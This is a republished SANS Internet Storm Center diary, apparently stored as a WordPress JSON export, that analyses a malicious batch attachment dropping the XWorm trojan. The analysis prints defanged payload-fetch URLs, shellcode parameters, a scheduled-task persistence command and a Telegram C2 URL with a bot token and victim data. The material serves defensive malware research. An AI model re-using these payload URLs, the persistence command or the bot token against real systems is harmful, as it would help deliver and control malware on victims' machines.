{"id":10402,"date":"2026-02-05T04:03:44","date_gmt":"2026-02-05T04:03:44","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/02\/05\/32682\/"},"modified":"2026-02-05T04:03:44","modified_gmt":"2026-02-05T04:03:44","slug":"32682","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/02\/05\/32682\/","title":{"rendered":"Malicious Script Delivering More Maliciousness, (Wed, Feb 4th)"},"content":{"rendered":"<p>    Malicious Script Delivering More Maliciousness, (Wed, Feb 4th)<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>Today, I received an interesting email with a malicious attachment. When I had a look at the automatic scan results, it seemed to be a malicious script to create a Chrome Injector to steal data. Because InfoStealers are very common these days, it looked \u201clegit\u201d but there was something different. The .bat file looks to be a fork of the one found in many GitHub repositories[<a href=\"https:\/\/github.com\/00nx\/Chrome-App-Bound-Encryption-Bypass\/blob\/main\/make.bat\">1<\/a>].<\/p>\n<p>When the regular script is completed, it jumps to :EndScript:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\ngoto :EndScript\n<\/pre>\n<p>A call to :show_msgbox was added at the script end:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\n:EndScript\nendlocal\ncall :show_msgbox\nexit \/b\n<\/pre>\n<p>Then, the magic begins. A payload is obfuscated with junk characters:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20260204-1.png?ssl=1\" style=\"width: 1001px; height: 344px;\"><\/p>\n<p>Very common techniques, the string is poluted with junk characters. It\u2019s a chunk of Base64-encode data that is executed through a PowerShell:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20260204-2.png?ssl=1\" style=\"width: 600px; height: 322px;\"><\/p>\n<p>It fetches a payload from hxxps:\/\/uniworldrivercruises-co[.]uk\/optimized_MSI.png. This is a real picture:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20260204-4.png?ssl=1\" style=\"width: 800px; height: 450px;\"><\/p>\n<p>But when some \u201cfun\u201d at the end. The next payload is delimited (and extracted) using the tags \u201cBaseStart-\u201d and \u201c-BaseEnd\u201d:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20260204-3.png?ssl=1\" style=\"width: 1000px; height: 226px;\"><\/p>\n<p>It\u2019s a shell code that is invoked with the following parameters:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\n'==gN1V3dl5UQy8SZslmZvkGch9SbvNmLulWYyRGblhXaw9yL6MHc0RHa','0','C:UsersPublicDownloads','VHkaJZD8Iq','appidtel','1','appidtel','1','hxxp:\/\/178[.]16[.]53[.]209\/buildingmoney.txt','C:UsersPublicDownloads','VHkaJZD8Iq','bat','1','0','4spTcCaYQA','0','','',''<\/pre>\n<p>The URL points to another payload. When I tried to decode it (it was Base64 encode and reversed), I could not automatically decode it because there was weird (non hex)\u00a0characters in the string. Thanks to ChatGPT, I decoded it with the following piece of Python script:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\nfrom pathlib import Path\nimport re\nimport binascii\n\ninput_file = Path(\"payload.txt\")\noutput_file = Path(\"payload.bin\")\n\nraw = input_file.read_bytes()\nascii_data = raw.decode(\"ascii\", errors=\"ignore\")\n\n# Keep only hex characters!!\nclean_hex = re.sub(r\"[^0-9a-fA-F]\", \"\", ascii_data)\nif len(clean_hex) % 2 != 0:\n    raise ValueError(\"Odd-length hex string after cleanup\")\n\nclean_hex = clean_hex[::-1]\nbinary = binascii.unhexlify(clean_hex)\noutput_file.write_bytes(binary)\n\nprint(f\"[+] Decoded {len(binary)} bytes to {output_file}\")<\/pre>\n<p>The decoded payload (SHA256:d99318c9b254b4fa5bf6f1dd15996dd50be0676dd84e822503fd273316eb9ba7) is a .Net program.\u00a0It implements persistence thtough a scheduled task:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\nC:WindowsSystem32schtasks.exe\" \/create \/f \/sc minute \/mo 1 \/tn \"Chromiumx2\" \/tr \"C:UsersadminAppDataRoamingChromiumx2.exe<\/pre>\n<p>And uses Telegram as C2:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\nhxxps:\/\/api[.]telegram[.]org\/bot7409572452:AAGp8Ak5bqZu2IkEdggJaz2mnMYRTkTjv-U\/sendMessage?chat_id=6870183115&amp;text=%E2%98%A0%20%5BXWorm%20V7.0%20@XCoderTools%5D%0D%0A%0D%0ANew%20CLient%20:%20%0D%0ACAECEB6F4379122BA468%0D%0A%0D%0AUserName%20:%20admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20AMD%20Ryzen%205%203500%206-Core%20Processor%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%205.99%20GB%0D%0AGroup%20:%20<span style=\"background-color:#f1c40f;\">XWorm%20V7.1<\/span><\/pre>\n<p>It&#8217;s another piece of\u00a0XWorm! Interesting way to drop the trojan in another malicious script&#8230;<\/p>\n<p>[1] <a href=\"https:\/\/github.com\/00nx\/Chrome-App-Bound-Encryption-Bypass\/blob\/main\/make.bat\">https:\/\/github.com\/00nx\/Chrome-App-Bound-Encryption-Bypass\/blob\/main\/make.bat<\/a><\/p>\n<p>Xavier Mertens (@xme)<br \/>\nXameco<br \/>\nSenior ISC Handler &#8211; Freelance Cyber Security Consultant<br \/>\n<a href=\"https:\/\/keybase.io\/xme\/key.asc\">PGP Key<\/a><\/p>\n<p> (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><\/p>\n<p> \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/isc.sans.edu\/diary\/rss\/32682\">Go to isc.sans.edu<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Malicious Script Delivering More Maliciousness, (Wed, Feb 4th) Today, I received an interesting email with a malicious attachment. When I had a look at the automatic scan results, it seemed to be a malicious script to create a Chrome Injector to steal data. Because InfoStealers are very common these days, it looked \u201clegit\u201d but there [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[69],"class_list":["post-10402","post","type-post","status-publish","format-standard","hentry","category-isc-sans-edu","tag-isc-sans-edu"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/10402"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=10402"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/10402\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=10402"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=10402"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=10402"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}